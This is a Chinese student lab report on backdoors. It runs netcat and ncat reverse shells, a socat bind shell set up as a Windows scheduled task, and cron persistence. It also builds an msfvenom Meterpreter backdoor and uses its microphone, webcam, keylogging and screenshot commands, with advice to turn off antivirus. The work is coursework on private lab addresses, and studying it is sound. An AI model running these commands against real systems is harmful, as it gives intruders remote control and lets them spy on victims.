后门原理与实践
Exp2 后门原理与实践
关于Nc和Ncat
1.关于netcat
- Netcat 是一款简单的Unix工具,使用UDP和TCP协议。
- 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。
- Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
- Windows: 课程主页附件中下载ncat.rar解压即可使用。
- Mac: 系统自带,"man nc",查看其使用说明。
实验过程记录
1. Win获得Linux Shell
首先查看windows主机和kali的IP地址
在主机的终端输入 ipconfig 查看当前kali的IP地址,如下图所示
在kali的终端输入 ifconfig 查看kali的IP地址,如下图所示
windows 打开监听,在cmd.exe下输入 ncat.exe -l -p 1229
Linux反弹连接win
输入 nc 192.168.56.1 1229 -e /bin/sh
windows下获得一个linux shell,可运行任何指令,如ls
成功!但是输出乱码,应该是字符编码问题,需要修改一下字符编码
*修改字符编码
在cmd.exe输入 cd c:\windows\ststem32
之后输入 chcp 65001 更改字符编码为UTF-8
成功之后会显示如下图所示:
注意:这种方法只是临时更改,永久修改需要修改注册表
在虚拟机中获取主机shell
在虚拟机中用nc -l -p 1229
监听主机1229端口
在主机中用ncat -e cmd 172.16.218.112 1229
成功获取到主机shell
在虚拟机中启动cron并在主机监听
先在虚拟机上用crontab -e
指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)
等到每小时的34分,在ip地址为172.16.219.129的主机端用ncat -l -p 1229
打开监听即可
二、使用socat获取主机操作Shell,任务计划启动
在Windows获得Linux Shell
在Kali中用man socat
查看使用说明
在Windows中按Win+R
,再输入compmgmt.msc
打开计算机管理
在系统工具中的任务计划程序中创建任务
设置任务名称
新建触发器
下一步是新建操作,但在新建操作前,我们需要在Windows上下载socat.rar,并解压后使用,使用参考README
新建操作,操作设置为启动程序socat.exe
,并添加参数tcp-listen:1229 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口1229,同时把cmd.exe的stderr重定向
创建完成之后,按 Windows+L 快捷键锁定计算机,再次打开时,双击 任务计划程序库 可以发现之前创建的任务已经开始运行
在kali中输入 socat - tcp:172.16.219129:1229 (-代表标准的输入输出,第二个流连接到Windows主机的 1229 端口,IP为win的IP),成功获得 cmd shell )
输入 dir 进行测试,成功输出
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上生成后门可执行程序20191229_backdoor.exe
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.168.218.112 LPORT=1229 -f exe > 20191229_backdoor.exe
,其中
LHOST
为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IPLPORT
是回连的端口-p
使用的payload。
payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。-f
生成文件的类型>
输出到哪个文件
在Windows上打开监听
在Kali上用nc 172.16.218.112 < 20191229_backdoor.exe
将生成的20191229_backdoor.exe
后门程序传过去
在kali上使用msfconsole
指令进入msf控制台
对msf控制台进行配置
依次输入以下命令
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 172.16.218.112 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1229
配置完后的情况
接着输入exploit
进行监听,在Windows在打开20191229_backdoor.exe
后成功获取到Windows的shell(注意最好把所有杀毒软件退出,否则打开后门程序时很容易出现拒绝访问的情况)
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取目标主机音频
在之前进入的MSF exploit中输入record_mic
指令进行录音(-d
可设置时长)
run webcam
可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件
获取击键记录
输入keyscan_start
开始捕获键盘记录,keyscan_dump
获取击键记录(-d
可设置时长)
截取主机屏幕,使用screenshot
指令可以进行截屏
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(利用msf生成可执行的后门)
基础问题回答
3.1 例举你能想到的一个后门进入到你系统中的可能方式?
可能通过网站挂马;利用硬件传播(比如U盘);一些病毒(例如蠕虫等等);钓鱼;社会工程学……
3.2 例举你知道的后门如何启动起来(win及linux)的方式?
本次实验中,在Linux里先修改cron文件,通过nc传播到另一台主机,当另一台主机运行时启动后门;
通过漏洞攻击启动;
一些不安全的软件编写时留下了后门,使用这些软件可能会使后门启动;
等等。
3.3 Meterpreter有哪些给你映像深刻的功能?
实验中我们通过使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录,并提权。
对我来说,提权是映像最深刻的。因为这个是最危险的,攻击者提权后可能进行意想不到的攻击。
3.4如何发现自己有系统有没有被安装后门?
首先可以通过Windows自带的防火墙识别,很多是可以被识别出来的;
再就是查看任务管理器有没有很陌生的任务在运行;
还可以查看注册表信息
实验总结与体会
本次实验通过利用后门,可以操作shell,可以获取目标主机音频、摄像头、击键记录等内容,可以提权……
实验中简单的后门其实是可以被防火墙识别的,这让我意识到了防火墙的重要性,以及一定要及时更新系统、安装补丁,尽量避免系统漏洞;
在实验里简单的后门程序就可以实现那么多效果,一旦计算机被植入这些后门程序,个人隐私就轻而易举地会被泄露,在平时一定要养成良好的使用计算机的习惯,不要使用来源不明的软件等